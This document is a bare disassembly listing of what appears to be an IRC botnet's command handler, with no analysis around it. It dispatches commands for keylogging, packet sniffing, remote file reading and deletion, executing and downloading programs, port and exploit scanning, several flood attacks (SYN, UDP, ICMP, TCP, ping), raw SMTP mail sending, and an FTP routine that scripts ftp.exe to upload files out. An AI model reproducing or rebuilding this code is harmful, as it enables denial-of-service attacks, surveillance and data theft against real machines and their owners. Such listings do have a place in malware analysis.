call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_41374E
push [ebp+arg_8]
push offset aCom_delete ; "com.delete"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_413717
push [ebp+arg_8]
push offset aCom_del ; "com.del"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_413717
push [ebp+arg_8]
push offset aDcc_get ; "dcc.get"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_413637
push [ebp+arg_8]
push offset aDcc_gt ; "dcc.gt"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_413637
push [ebp+arg_8]
push offset aCom_filelist ; "com.filelist"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_41361C
push [ebp+arg_8]
push offset aCom_fl ; "com.fl"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_41361C
push [ebp+arg_8]
push offset aIrc_visit ; "irc.visit"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_413530
push [ebp+arg_8]
push offset aIrc_v ; "irc.v"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_413530
push [ebp+arg_8]
push offset aMirc_cmd ; "mirc.cmd"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_4134BC
push [ebp+arg_8]
push offset aMirc_cmd ; "mirc.cmd"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_4134BC
push [ebp+arg_8]
push offset aCom_cmd ; "com.cmd"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_413468
push [ebp+arg_8]
push offset aCom_cm ; "com.cm"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_413468
push [ebp+arg_8]
push offset aCom_readfile ; "com.readfile"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_4133E3
push [ebp+arg_8]
push offset aCom_rf ; "com.rf"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_4133E3
push [ebp+arg_8]
push offset aSniff ; "sniff"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz loc_410A0C
push edi
push offset aOn ; "on"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz loc_4109D4
push 19h
call sub_416CBC
test eax, eax
pop ecx
jle short loc_410902
push offset unk_437054
jmp loc_411980
; ---------------------------------------------------------------------------
loc_410902: ; CODE XREF: sub_40EC43+1CB3j
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_8C]
mov [ebp+var_380], eax
mov eax, [ebp+var_4]
mov [ebp+var_2F8], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_2F4], eax
jnz short loc_410944
mov esi, offset a2_1 ; "#2"
push offset byte_43BCE8
push esi
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_410944
mov esi, [ebp+var_8C]
loc_410944: ; CODE XREF: sub_40EC43+1CE3j
; sub_40EC43+1CF9j
push esi
lea eax, [ebp+var_37C]
push 80h
push eax
call sub_41752A
lea eax, [ebp+var_2EC]
push offset unk_437014
push eax
call sub_416FB6
push ebx
lea eax, [ebp+var_2EC]
push 19h
push eax
call sub_416A7A
add esp, 20h
mov [ebp+var_2FC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_380]
push ebx
push eax
push offset sub_402669
push ebx
push ebx
call dword_4230A0 ; CreateThread
mov ecx, [ebp+var_2FC]
imul ecx, 234h
cmp eax, ebx
mov dword_44457C[ecx], eax
jnz short loc_4109C7
call dword_42308C ; RtlGetLastWin32Error
push eax
push offset unk_436FC8
jmp loc_410B68
; ---------------------------------------------------------------------------
loc_4109BF: ; CODE XREF: sub_40EC43+1D8Aj
push 32h
call dword_423064 ; Sleep
loc_4109C7: ; CODE XREF: sub_40EC43+1D69j
cmp [ebp+var_2F0], ebx
jz short loc_4109BF
jmp loc_41198E
; ---------------------------------------------------------------------------
loc_4109D4: ; CODE XREF: sub_40EC43+1CA3j
push edi
push offset aOff ; "off"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz loc_41198E
push ebx
push 19h
call sub_416C6F
pop ecx
cmp eax, ebx
pop ecx
jle short loc_410A02
push eax
push offset unk_436F78
jmp loc_410B68
; ---------------------------------------------------------------------------
loc_410A02: ; CODE XREF: sub_40EC43+1DB2j
push offset unk_436F40
jmp loc_411980
; ---------------------------------------------------------------------------
loc_410A0C: ; CODE XREF: sub_40EC43+1C8Ej
push [ebp+arg_8]
push offset aCom_keylog ; "com.keylog"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz loc_410B91
push edi
push offset aOn ; "on"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz short loc_410A7D
push edi
push offset aFile ; "file"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz short loc_410A7D
push edi
push offset aOff ; "off"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz loc_41198E
push ebx
push 1Bh
call sub_416C6F
pop ecx
cmp eax, ebx
pop ecx
jle short loc_410A73
push eax
push offset unk_436EE8
jmp loc_410B68
; ---------------------------------------------------------------------------
loc_410A73: ; CODE XREF: sub_40EC43+1E23j
push offset unk_436EAC
jmp loc_411980
; ---------------------------------------------------------------------------
loc_410A7D: ; CODE XREF: sub_40EC43+1DEFj
; sub_40EC43+1E00j
push 1Bh
call sub_416CBC
test eax, eax
pop ecx
jle short loc_410A93
push offset unk_436E7C
jmp loc_411980
; ---------------------------------------------------------------------------
loc_410A93: ; CODE XREF: sub_40EC43+1E44j
mov eax, [ebp+arg_4]
push edi
mov [ebp+var_380], eax
mov eax, [ebp+var_4]
push offset aFile ; "file"
mov [ebp+var_2F8], eax
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_410AC2
mov [ebp+var_2F4], 1
jmp short loc_410ACB
; ---------------------------------------------------------------------------
loc_410AC2: ; CODE XREF: sub_40EC43+1E71j
mov eax, [ebp+var_8]
mov [ebp+var_2F4], eax
loc_410ACB: ; CODE XREF: sub_40EC43+1E7Dj
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jnz short loc_410AF2
mov esi, offset a2_0 ; "#2"
push offset byte_43BCE8
push esi
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_410AF2
mov esi, [ebp+var_8C]
loc_410AF2: ; CODE XREF: sub_40EC43+1E91j
; sub_40EC43+1EA7j
push esi
lea eax, [ebp+var_378]
push 80h
push eax
call sub_41752A
lea eax, [ebp+var_2EC]
push offset unk_436E4C
push eax
call sub_416FB6
push ebx
lea eax, [ebp+var_2EC]
push 1Bh
push eax
call sub_416A7A
add esp, 20h
mov [ebp+var_37C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_380]
push ebx
push eax
push offset sub_402394
push ebx
push ebx
call dword_4230A0 ; CreateThread
mov ecx, [ebp+var_37C]
imul ecx, 234h
cmp eax, ebx
mov dword_44457C[ecx], eax
jnz short loc_410B84
call dword_42308C ; RtlGetLastWin32Error
push eax
push offset unk_436E00
loc_410B68: ; CODE XREF: sub_40EC43+1542j
; sub_40EC43+1D77j ...
lea eax, [ebp+var_2EC]
push eax
call sub_416FB6
loc_410B74: ; CODE XREF: sub_40EC43+5FCFj
add esp, 0Ch
jmp loc_41198E
; ---------------------------------------------------------------------------
loc_410B7C: ; CODE XREF: sub_40EC43+1F47j
push 32h
call dword_423064 ; Sleep
loc_410B84: ; CODE XREF: sub_40EC43+1F17j
cmp [ebp+var_2F0], ebx
jz short loc_410B7C
jmp loc_41198E
; ---------------------------------------------------------------------------
loc_410B91: ; CODE XREF: sub_40EC43+1DDAj
push [ebp+arg_8]
push offset aCom_net ; "com.net"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz loc_410E3B
cmp dword_43EBF0, ebx
jz short loc_410BC2
cmp dword_43EC18, ebx
jz short loc_410BC2
push offset dword_436DB0
jmp loc_410E28
; ---------------------------------------------------------------------------
loc_410BC2: ; CODE XREF: sub_40EC43+1F6Bj
; sub_40EC43+1F73j
cmp [ebp+var_C], ebx
jz loc_4115BE
mov eax, [ebp+esi+var_8C]
mov [ebp+arg_0], ebx
cmp eax, ebx
mov [ebp+arg_18], eax
jz short loc_410BEA
push eax
push [ebp+var_C]
call sub_417580
pop ecx
mov [ebp+arg_0], eax
pop ecx
loc_410BEA: ; CODE XREF: sub_40EC43+1F97j
push edi
push offset aStart ; "start"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_410C56
cmp [ebp+arg_18], ebx
jz short loc_410C24
push [ebp+arg_0]
push 3
loc_410C05: ; CODE XREF: sub_40EC43+2029j
; sub_40EC43+2041j ...
call sub_40D511
push eax
lea eax, [ebp+var_2EC]
push offset aS_3 ; "%s"
push eax
call sub_416FB6
add esp, 14h
jmp loc_4115BE
; ---------------------------------------------------------------------------
loc_410C24: ; CODE XREF: sub_40EC43+1FBBj
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D7B8
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_2EC]
jz short loc_410C4C
push offset dword_436D7C
jmp loc_410E2E
; ---------------------------------------------------------------------------
loc_410C4C: ; CODE XREF: sub_40EC43+1FFDj
push offset dword_436D4C
jmp loc_410E2E
; ---------------------------------------------------------------------------
loc_410C56: ; CODE XREF: sub_40EC43+1FB6j
push edi
push offset aStop ; "stop"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_410C6E
push [ebp+arg_0]
push 4
jmp short loc_410C05
; ---------------------------------------------------------------------------
loc_410C6E: ; CODE XREF: sub_40EC43+2022j
push edi
push offset aPause ; "pause"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_410C89
push [ebp+arg_0]
push 5
jmp loc_410C05
; ---------------------------------------------------------------------------
loc_410C89: ; CODE XREF: sub_40EC43+203Aj
push edi
push offset aContinue ; "continue"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_410CA4
push [ebp+arg_0]
push 6
jmp loc_410C05
; ---------------------------------------------------------------------------
loc_410CA4: ; CODE XREF: sub_40EC43+2055j
push edi
push offset aDelete ; "delete"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_410CBF
push [ebp+arg_0]
push 1
jmp loc_410C05
; ---------------------------------------------------------------------------
loc_410CBF: ; CODE XREF: sub_40EC43+2070j
push edi
push offset aShare ; "share"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_410D42
cmp [ebp+arg_18], ebx
jz short loc_410D0F
cmp [ebp+var_95C], bl
jz short loc_410CE5
push ebx
push [ebp+arg_18]
push 1
jmp short loc_410CF0
; ---------------------------------------------------------------------------
loc_410CE5: ; CODE XREF: sub_40EC43+2098j
push [ebp+esi+var_88]
push [ebp+arg_18]
push ebx
loc_410CF0: ; CODE XREF: sub_40EC43+20A0j
call sub_40D8F8
push eax
lea eax, [ebp+var_2EC]
push offset aS_3 ; "%s"
push eax
call sub_416FB6
add esp, 18h
jmp loc_4115BE
; ---------------------------------------------------------------------------
loc_410D0F: ; CODE XREF: sub_40EC43+2090j
push ebx
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40DAED
add esp, 10h
test eax, eax
lea eax, [ebp+var_2EC]
jz short loc_410D38
push offset dword_436CFC
jmp loc_410E2E
; ---------------------------------------------------------------------------
loc_410D38: ; CODE XREF: sub_40EC43+20E9j
push offset dword_436CCC
jmp loc_410E2E
; ---------------------------------------------------------------------------
loc_410D42: ; CODE XREF: sub_40EC43+208Bj
push edi
push offset aUser ; "user"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz loc_410DD8
mov eax, [ebp+arg_18]
cmp eax, ebx
jz short loc_410DAB
push [ebp+var_4]
cmp [ebp+var_95C], bl
push [ebp+var_8C]
push [ebp+arg_4]
jz short loc_410D78
push ebx
push eax
push 1
jmp short loc_410D8C
; ---------------------------------------------------------------------------
loc_410D78: ; CODE XREF: sub_40EC43+212Dj
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jz short loc_410D88
push esi
push eax
push ebx
jmp short loc_410D8C
; ---------------------------------------------------------------------------
loc_410D88: ; CODE XREF: sub_40EC43+213Ej
push ebx
push eax
push 2
loc_410D8C: ; CODE XREF: sub_40EC43+2133j
; sub_40EC43+2143j
call sub_40DC0E
push eax
lea eax, [ebp+var_2EC]
push offset aS_3 ; "%s"
push eax
call sub_416FB6
add esp, 24h
jmp loc_4115BE
; ---------------------------------------------------------------------------
loc_410DAB: ; CODE XREF: sub_40EC43+2119j
push ebx
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40E122
add esp, 10h
test eax, eax
lea eax, [ebp+var_2EC]
jz short loc_410DD1
push offset dword_436C94
jmp short loc_410E2E
; ---------------------------------------------------------------------------
loc_410DD1: ; CODE XREF: sub_40EC43+2185j
push offset dword_436C68
jmp short loc_410E2E
; ---------------------------------------------------------------------------
loc_410DD8: ; CODE XREF: sub_40EC43+210Ej
push edi
push offset aSend ; "send"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_410E23
cmp [ebp+arg_18], ebx
jz short loc_410E1C
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40E3CC
push eax
lea eax, [ebp+var_2EC]
push offset aS_3 ; "%s"
push eax
call sub_416FB6
add esp, 1Ch
jmp loc_4115BE
; ---------------------------------------------------------------------------
loc_410E1C: ; CODE XREF: sub_40EC43+21A9j
push offset dword_436C38
jmp short loc_410E28
; ---------------------------------------------------------------------------
loc_410E23: ; CODE XREF: sub_40EC43+21A4j
push offset dword_436C0C
loc_410E28: ; CODE XREF: sub_40EC43+1F7Aj
; sub_40EC43+21DEj ...
lea eax, [ebp+var_2EC]
loc_410E2E: ; CODE XREF: sub_40EC43+2004j
; sub_40EC43+200Ej ...
push eax
call sub_416FB6
pop ecx
pop ecx
jmp loc_4115BE
; ---------------------------------------------------------------------------
loc_410E3B: ; CODE XREF: sub_40EC43+1F5Fj
push [ebp+arg_8]
push offset aCom_capture ; "com.capture"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_413187
push [ebp+arg_8]
push offset aCom_cap ; "com.cap"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_413187
push [ebp+arg_8]
push offset aIrc_gethost ; "irc.gethost"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_4130A9
push [ebp+arg_8]
push offset aIrc_gh ; "irc.gh"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_4130A9
mov eax, [ebp+esi+var_8C]
cmp eax, ebx
mov [ebp+arg_18], eax
jz loc_40F098
push [ebp+arg_8]
push offset aIrc_addalias ; "irc.addalias"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_41306A
push [ebp+arg_8]
push offset aIrc_aa ; "irc.aa"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_41306A
push [ebp+arg_8]
push offset aIrc_privmsg ; "irc.privmsg"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_413014
push [ebp+arg_8]
push offset aIrc_pm ; "irc.pm"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_413014
push [ebp+arg_8]
push offset aIrc_action ; "irc.action"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_412FA6
push [ebp+arg_8]
push offset aIrc_ac ; "irc.ac"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_412FA6
push [ebp+arg_8]
push offset aIrc_cycle ; "irc.cycle"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_412F40
push [ebp+arg_8]
push offset aIrc_cy ; "irc.cy"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_412F40
push [ebp+arg_8]
push offset aIrc_mode ; "irc.mode"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_412F09
push [ebp+arg_8]
push offset aIrc_m ; "irc.m"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_412F09
push [ebp+arg_8]
push offset aClone_raw ; "clone.raw"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_412E9E
push [ebp+arg_8]
push offset aClone_ra ; "clone.ra"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_412E9E
push [ebp+arg_8]
push offset aClone_mode ; "clone.mode"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_412E1C
push [ebp+arg_8]
push offset aClone_m ; "clone.m"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_412E1C
push [ebp+arg_8]
push offset aClone_nick ; "clone.nick"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_412DAE
push [ebp+arg_8]
push offset aClone_ni ; "clone.ni"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_412DAE
push [ebp+arg_8]
push offset aClone_join ; "clone.join"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_412D88
push [ebp+arg_8]
push offset aClone_j ; "clone.j"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_412D88
push [ebp+arg_8]
push offset aClone_part ; "clone.part"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_412D28
push [ebp+arg_8]
push offset aClone_p ; "clone.p"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_412D28
push [ebp+arg_8]
push offset aIrc_repeat ; "irc.repeat"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_412C62
push [ebp+arg_8]
push offset aIrc_rp ; "irc.rp"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_412C62
push [ebp+arg_8]
push offset aIrc_delay ; "irc.delay"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_412BC7
push [ebp+arg_8]
push offset aIrc_de ; "irc.de"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_412BC7
push [ebp+arg_8]
push offset aDownload_updat ; "download.update"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_412A4A
push [ebp+arg_8]
push offset aDownload_up ; "download.up"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_412A4A
push [ebp+arg_8]
push offset aCom_execute ; "com.execute"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_4129B1
push [ebp+arg_8]
push offset aCom_e ; "com.e"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_4129B1
push [ebp+arg_8]
push offset aFindfile ; "findfile"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_4128A5
push [ebp+arg_8]
push offset aFf ; "ff"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_4128A5
push [ebp+arg_8]
push offset aCom_rename ; "com.rename"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_412854
push [ebp+arg_8]
push offset aCom_mv ; "com.mv"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_412854
push [ebp+arg_8]
push offset aDdos_icmp ; "ddos.icmp"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_41275A
push [ebp+arg_8]
push offset aDdos_ic ; "ddos.ic"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_41275A
mov eax, [ebp+esi+var_88]
cmp eax, ebx
mov [ebp+arg_0], eax
jz loc_40F098
push [ebp+arg_8]
push offset aClone_make ; "clone.make"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_412670
push [ebp+arg_8]
push offset aClone_start ; "clone.start"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_412670
push [ebp+arg_8]
push offset aDdos_syn ; "ddos.syn"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_41255F
push [ebp+arg_8]
push offset aDdos_ack ; "ddos.ack"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_41255F
push [ebp+arg_8]
push offset aDdos_random ; "ddos.random"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_41255F
push [ebp+arg_8]
push offset aDdos_synflood ; "ddos.synflood"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_412461
push [ebp+arg_8]
push offset aDdos_synf ; "ddos.synf"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_412461
push [ebp+arg_8]
push offset aDownload_wget ; "download.wget"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_412324
push [ebp+arg_8]
push offset aDownload_wg ; "download.wg"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_412324
push [ebp+arg_8]
push offset aDaemon_redirec ; "daemon.redirect"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_41222B
push [ebp+arg_8]
push offset aDaemon_rd ; "daemon.rd"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_41222B
push [ebp+arg_8]
push offset aRoot_portscan ; "root.portscan"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_412139
push [ebp+arg_8]
push offset aRoot_ps ; "root.ps"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_412139
push [ebp+arg_8]
push offset aClone_privmsg ; "clone.privmsg"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_412064
push [ebp+arg_8]
push offset aClone_pm ; "clone.pm"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_412064
push [ebp+arg_8]
push offset aClone_action ; "clone.action"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_411F52
push [ebp+arg_8]
push offset aClone_ac ; "clone.ac"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_411F52
mov eax, [ebp+esi+var_84]
cmp eax, ebx
mov [ebp+arg_10], eax
jz loc_40F098
push [ebp+arg_8]
push offset aAdvscan ; "advscan"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_411BFD
push [ebp+arg_8]
push offset aAsc ; "asc"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_411BFD
push [ebp+arg_8]
push offset aDdos_udpflood ; "ddos.udpflood"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_411ADE
push [ebp+arg_8]
push offset aDdos_udpf ; "ddos.udpf"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_411ADE
push [ebp+arg_8]
push offset aU_0 ; "u"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_411ADE
push [ebp+arg_8]
push offset aDdos_pingflood ; "ddos.pingflood"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_4119B8
push [ebp+arg_8]
push offset aDdos_pingf ; "ddos.pingf"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_4119B8
push [ebp+arg_8]
push offset aP ; "p"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_4119B8
push [ebp+arg_8]
push offset aDdos_tcpflood ; "ddos.tcpflood"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_4117F6
push [ebp+arg_8]
push offset aDdos_tcpf ; "ddos.tcpf"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_4117F6
push [ebp+arg_8]
push offset aUtil_email ; "util.email"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz loc_4115F6
lea eax, [ebp+var_AC0]
push edi
push eax
call sub_4176C0
push [ebp+arg_18]
call sub_41751F
push [ebp+arg_0]
mov [ebp+arg_18], eax
lea eax, [ebp+var_2124]
push eax
call sub_4176C0
push [ebp+arg_10]
lea eax, [ebp+var_17E0]
push eax
call sub_4176C0
push offset asc_429420 ; " "
push offset a__0 ; "_"
push [ebp+esi+var_80]
call sub_40A610
push eax
lea eax, [ebp+var_2024]
push eax
call sub_4176C0
add esp, 30h
lea eax, [ebp+var_1974]
push eax
push 101h
call dword_43EA9C ; WSAStartup
lea eax, [ebp+var_AC0]
push eax
call dword_43EBA8 ; gethostbyname
push 6
push 1
push 2
mov edi, eax
call dword_43EBA4 ; socket
push [ebp+arg_18]
mov esi, eax
mov [ebp+var_E4], 2
mov eax, [edi+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_E0], eax
call dword_43EB24 ; htons
mov [ebp+var_E2], ax
lea eax, [ebp+var_2024]
push eax
lea eax, [ebp+var_2124]
push eax
lea eax, [ebp+var_2024]
push eax
lea eax, [ebp+var_17E0]
push eax
lea eax, [ebp+var_2124]
push eax
lea eax, [ebp+var_2924]
push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
push eax
call sub_416FB6
add esp, 1Ch
lea eax, [ebp+var_E4]
push 10h
push eax
push esi
call dword_43EACC ; connect
mov edi, 100h
push ebx
lea eax, [ebp+var_1F20]
push edi
push eax
push esi
call dword_43EB3C ; recv
lea eax, [ebp+var_1F20]
push ebx
push eax
call sub_4177B0
pop ecx
push eax
lea eax, [ebp+var_2924]
push eax
push esi
call dword_43EB74 ; send
push ebx
lea eax, [ebp+var_1F20]
push edi
push eax
push esi
call dword_43EB3C ; recv
push esi
call dword_43EBBC ; closesocket
call dword_43EA84 ; WSACleanup
lea eax, [ebp+var_17E0]
push eax
push offset dword_4368C0
loc_4115AF: ; CODE XREF: sub_40EC43+3AFDj
; sub_40EC43+3F60j ...
lea eax, [ebp+var_2EC]
loc_4115B5: ; CODE XREF: sub_40EC43+3E02j
push eax
call sub_416FB6
loc_4115BB: ; CODE XREF: sub_40EC43+56BBj
add esp, 0Ch
loc_4115BE: ; CODE XREF: sub_40EC43+1F82j
; sub_40EC43+1FDCj ...
cmp [ebp+var_8], ebx
jnz short loc_4115DF
push ebx
lea eax, [ebp+var_2EC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D476
add esp, 14h
loc_4115DF: ; CODE XREF: sub_40EC43+297Ej
; sub_40EC43+4815j ...
mov esi, [ebp+arg_24]
loc_4115E2: ; CODE XREF: sub_40EC43+954j
; sub_40EC43+4B3Fj ...
lea eax, [ebp+var_2EC]
push eax
call sub_40BD8D
pop ecx
mov eax, esi
jmp loc_40F09B
; ---------------------------------------------------------------------------
loc_4115F6: ; CODE XREF: sub_40EC43+2816j
push [ebp+arg_8]
push offset aUtil_httpcon ; "util.httpcon"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_4117C8
push [ebp+arg_8]
push offset aUtil_hcon ; "util.hcon"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_4117C8
mov esi, [ebp+esi+var_80]
cmp esi, ebx
jz loc_40F098
push [ebp+arg_8]
push offset aFtp_upload ; "ftp.upload"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz loc_414CDE
push 4
push esi
call sub_40CE09
pop ecx
test eax, eax
pop ecx
jnz short loc_41169C
push esi
push offset dword_436868
loc_41165B: ; CODE XREF: sub_40EC43+4D69j
lea eax, [ebp+var_2EC]
push eax
call sub_416FB6
add esp, 0Ch
loc_41166A: ; CODE XREF: sub_40EC43+4461j
; sub_40EC43+574Aj
cmp [ebp+var_8], ebx
jnz short loc_41168B
push ebx
lea eax, [ebp+var_2EC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D476
add esp, 14h
loc_41168B: ; CODE XREF: sub_40EC43+2A2Aj
; sub_40EC43+593Ej ...
lea eax, [ebp+var_2EC]
push eax
call sub_40BD8D
jmp loc_414E5F
; ---------------------------------------------------------------------------
loc_41169C: ; CODE XREF: sub_40EC43+2A10j
call dword_423058 ; GetTickCount
push eax
call sub_417008
pop ecx
call sub_417012
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_417012
push 63h
cdq
pop ecx
idiv ecx
push edx
call sub_417012
cdq
mov ecx, 3E7h
idiv ecx
lea eax, [ebp+var_1F24]
push edx
push eax
lea eax, [ebp+var_17E4]
push offset aSIII_dll ; "%s\\%i%i%i.dll"
push eax
call sub_416FB6
lea eax, [ebp+var_17E4]
push offset aAb ; "ab"
push eax
call sub_4176A8
add esp, 20h
cmp eax, ebx
mov [ebp+arg_24], eax
jz loc_40F098
push esi
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
push edi
push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
push eax
call sub_417656
push [ebp+arg_24]
call sub_417600
lea eax, [ebp+var_17E4]
push eax
lea eax, [ebp+var_AC0]
push offset aSS_4 ; "-s:%s"
push eax
call sub_416FB6
add esp, 2Ch
lea eax, [ebp+var_AC0]
push ebx
push ebx
push eax
push offset aFtp_exe ; "ftp.exe"
push offset aOpen ; "open"
push ebx
call dword_43EA98
push edi
push esi
test eax, eax
jz short loc_411766
push offset dword_4367F0
jmp short loc_41176B
; ---------------------------------------------------------------------------
loc_411766: ; CODE XREF: sub_40EC43+2B1Aj
push offset dword_4367B4
loc_41176B: ; CODE XREF: sub_40EC43+2B21j
call sub_416FB6
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_411794
push ebx
lea eax, [ebp+var_2EC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D476
add esp, 14h
loc_411794: ; CODE XREF: sub_40EC43+2B33j
lea eax, [ebp+var_2EC]
push eax
call sub_40BD8D
jmp short loc_4117AE
; ---------------------------------------------------------------------------
loc_4117A2: ; CODE XREF: sub_40EC43+2B7Ej
lea eax, [ebp+var_17E4]
push eax
call sub_4198BA
loc_4117AE: ; CODE XREF: sub_40EC43+2B5Dj
lea eax, [ebp+var_17E4]
push 4
push eax
call sub_40CE09
add esp, 0Ch
test eax, eax
jnz short loc_4117A2
jmp loc_40F098
; ---------------------------------------------------------------------------
